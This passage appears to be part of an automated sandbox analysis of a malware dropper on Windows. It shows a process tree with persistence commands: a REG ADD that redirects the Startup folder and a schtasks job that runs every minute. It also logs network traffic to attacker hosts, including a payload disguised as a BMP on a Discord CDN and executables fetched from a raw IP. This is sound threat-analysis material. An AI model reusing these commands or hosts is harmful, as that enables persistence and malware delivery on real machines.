                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2616 /prefetch:1
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                  PID:5796
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3112 /prefetch:2
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:8676
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --mojo-platform-channel-handle=3156 /prefetch:8
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:1816
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_9B8.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                                                                                                                  PID:7968
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\440B.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\440B.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                              PID:3280
                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:9140
                                                                                                                                                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                              PID:1292
                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                                              PID:1932
                                                                                                                                                                                                                              • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{66125d1b-d6d4-3842-a1cf-2a0798945631}\oemvista.inf" "9" "4d14a44ff" "0000000000000124" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                PID:8636
                                                                                                                                                                                                                              • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000124"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Drops file in Drivers directory
                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                PID:1940
                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:5056
                                                                                                                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                PID:8036
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\69E4.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\69E4.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:9036
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:7176
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:7092
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:8700
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe" /F
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:2612
                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        PID:5324
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\AD95.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\AD95.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                        PID:5192
                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:2080
                                                                                                                                                                                                                                        • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                          "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                          PID:8512
                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                            MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                            PID:5380
                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                          PID:8760
                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                          PID:1952
                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                          PID:6056
                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                          PID:4044
                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                          PID:7752

                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          wfsdragon.ru
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          wfsdragon.ru
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          wfsdragon.ru
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.5.208
                                                                                                                                                                                                                                          wfsdragon.ru
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.133.215
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://wfsdragon.ru/api/setStats.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.5.208:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api/setStats.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: wfsdragon.ru
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F8J7qLG8xk8ePvkv3TcsKu%2F7EO%2BnRipWxK2RsSNcbtwKB8ht2qTaJxFnPh%2Fz8QbLK9yZRPuZrhXCCMDFn8PHn55Tmi3AxXnfnnMPzI2dGw7EJ6%2Bbm3xy86XGR6Zfg3U%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682325188c79c85b-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/statistics.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /base/api/statistics.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:15 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 96
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 133
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:19 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 108
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 133
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:19 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 4672
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=98
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.159.135.233
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.159.134.233
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.159.130.233
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.159.129.233
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.159.133.233
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878303898211868722/E_PL_Client.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878303898211868722/E_PL_Client.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:16 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 1282564
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823251f39aa1ea1-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 66738
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=E_PL_Client.bmp
                                                                                                                                                                                                                                          ETag: "047643cc5a5ed0da6b3747b79c0df297"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:16 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:46:07 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629474367490105
                                                                                                                                                                                                                                          x-goog-hash: crc32c=1XX64g==
                                                                                                                                                                                                                                          x-goog-hash: md5=BHZDzFpe0NprN0e3nA3ylw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 1282564
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycduehFet4X-WL3JDKGBgAlzNzETuadAY-75wI4cggE8ehNCpq9gn8Zau51Io4nbiP07PGoni98b5fN7DzJV3LfQ
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Bo6X%2FGw43RkZNyQAjb%2BGiC%2FgOtBcq52goJFC7ckQu5UOsz8%2FXNMT45lJ8gQR2DaE4UW6pKuzAM%2BylQiqJqyuCsJOCEIYQGduQPkpwhr3Nrczpd3pdAm8Zj6Y%2FI0rvtwbFEBMRg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.117.59.81
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/widget
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /widget HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Referer: https://ipinfo.io/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: application/json; charset=utf-8
                                                                                                                                                                                                                                          content-length: 873
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:23:16 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 28
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file5.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file5.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 11:52:06 GMT
                                                                                                                                                                                                                                          ETag: "3259b8-5c9fc4bf36945"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3299768
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file6.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file6.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:17:53 GMT
                                                                                                                                                                                                                                          ETag: "1e800-5ca0f18d52659"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 124928
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file7.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file7.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
